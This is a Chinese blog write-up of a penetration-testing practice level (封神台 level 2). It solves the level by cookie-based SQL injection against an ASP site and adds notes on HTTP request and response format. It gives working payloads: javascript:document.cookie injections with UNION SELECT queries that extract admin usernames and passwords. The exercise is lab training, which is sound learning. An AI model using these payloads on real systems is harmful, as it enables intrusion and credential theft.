封神台第二关

原创

李青莲123 于 2019-11-21 13:39:54 发布 1420 收藏 4

分类专栏： 渗透测试#SQL注入 文章标签： SQL注入 渗透测试练习 cookie注入

本文链接：https://blog.csdn.net/weixin_44106116/article/details/103180429

1第一种方法

1 查看是否能够SQL注入

点开第一个新闻，用and 1=1 查看是否存在SQL注入，发现弹出禁用参数对话框

再使用order by ,查看共有几个字段，发现order by 可以用，共十个

因为网页的防护，一般只拦截GET和POST，忽略了cookie也可以传参。所以尝试cookie注入

1.1附加知识点

cookie 类型为“小型文本文件”，是网站给客户端的身份证，由客户端暂时或者永久保存信息。
asp网页能用cookie注入，PHP不能

cookie注入原理：

在ASP里，用Request.QueryString(GET)或Request.Form(POST)取值,

程序员为了简化代码，会写成 ID = Request(“ID”),

所以，WEB服务，先读取GET中的数据，没有再取POST中的数据，还会去取Cookies中的数据

防注入系统，会检测GET和POST中的数据，但没有检测Cookies的数据

2 实现注入

清空地址栏，输入：
javascript:alert(document.cookie=“id=”+escape(“171”));

*附加知识点：
javascript escape() 函数：可对字符串进行编码，这样就可以在所有的计算机上读取该字符串。

在另一个窗口中，打开网页，删除？后的id=171 看是否能正常访问。

显示结果相同，说明程序在使用request对象获取数据的时候，并未指明具体使用什么方法来获取，而是直接使用request(“id”)的方式获取数据。

存在cookie注入，接下来提交特殊字符，看程序是否对数据进行了过滤。

javascript:alert(document.cookie="id=" + escape("171 and 1=1"));

javascript:alert(document.cookie="id=" + escape("171 and 1=2"))

显示不同，存在cookie注入漏洞

后面的和第一关是一样的，

javascript:alert(document.cookie="id=" + escape("171 and 1=2 SQL注入语句"))

但可能是因为，对一些数据进行了过滤，所以按照一开始的方法，

javascript:alert(document.cookie="id="+escape("171 and 1=2 union select 1,table_name,3,4,5,6,7,8,9,10 from information_schema.tables where table_schema = database() limit 0,1));

用内置函数，爆库，爆表，爆字段都会出错，

所以，直接猜测表名 为admin ,字段为username,password

直接猜测进行测试，

javascript:alert(document.cookie="id="+escape("171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin"));

javascript:alert(document.cookie="id="+escape("171 and 1=2 union select 1,2,3,4,5,6,username,password,9,10 from admin"));

结果就全部显示了

3 未解决问题

不知道为什么在注入的时候，数据库的内置函数不能使用了，奇怪。。。

2第二种方法

运用ModHeader工具，实现cookie注入
原理和，第一种方法一样

ModHeader:自定义请求头或者重写响应头。

Request header 用来定义请求头，Reponse header 用来定义响应头，Filter用来设置针对特定网站

2.1附加知识点

HTTP由两部分组成： 请求和响应。

当你在WEB浏览器中输入一个URL时，浏览器将根据你的需求，创建并发送请求。

服务器收到后返回一个响应，直到浏览器解析该响应并显示出网页为止。

2.2HTTP请求的格式：

———— 请求行，说明请求类型，要访问的资源，以及HTTP版本

———— 首部（header）小节，说明服务器要使用的附加信息。

———— 空行

[] ———— 主体

例子

在WEB浏览器上输入一个URL，例如www.baidu.com

GET / HTTP/1.1 ————— GET请求，（/），说明是该域名的根目录，使用的是HTTP1.1版本

Host: www.baidu.com ————— HOST: 首部，请求的目的地，(1.1版本需要写出HOST,1.0版本不需要)结合上一行的斜杠（/），可以通知服务器请求的是www.haidu.com/

User-Agent: Mozilla/5.0(Windows; U;Windows NT 5.1; en-US; rv：1.7.6)
Gecko/20050225 FireFOX/1.0.1 ———— 首部User-Agent： 浏览器类型，每个请求都会自动发送，服务器和浏览器都能访问它

Connection: Keep-Alive ————— 首部Connection

注意，在最后一个首部之后必须留一个空行

要发送GET请求的参数，则必须将这些额外的信息附在URL本身的后面。其格式类似于：
URL？name1=value1&name2=value2&…&nameN=valueN

称之为查询字符串（query string）， 将会复制在请求行中，

POST请求，区别是在请求主体中为服务器提供了一些附加信息。

POST / HTTP/1.1
Host: www.baidu.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050225 Firefox/1.0.1
Content-Type: application/x-www-form-urlencoded ———— 编码格式
Content-Length: 40 ———— 请求主体的字节数
Connection: Keep-Alive

name=Professional%20Ajax&publisher=Wiley ———— 请求主体，参数

常见请求头：
Host: host字段域名/ip后可以跟端口号
Referer:你从哪来
Connection: 是否与需要持久连接，HTTP 1.1（默认进行持久连接）

2.3HTTP响应：

————— 状态信息

[]

区别在于第一行中状态信息代替了请求信息。

例子

HTTP/1.1 200 OK
Date: Sat, 31 Dec 2005 23:59:59 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 122

状态代码是200，以及消息OK。

200（OK）:找到了该资源，并且一切正常。
Data首部，用来说明响应生成的日期和时间。

剩下的这个工具和第一关用法一样

id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

注意： +代替空格，否则会出错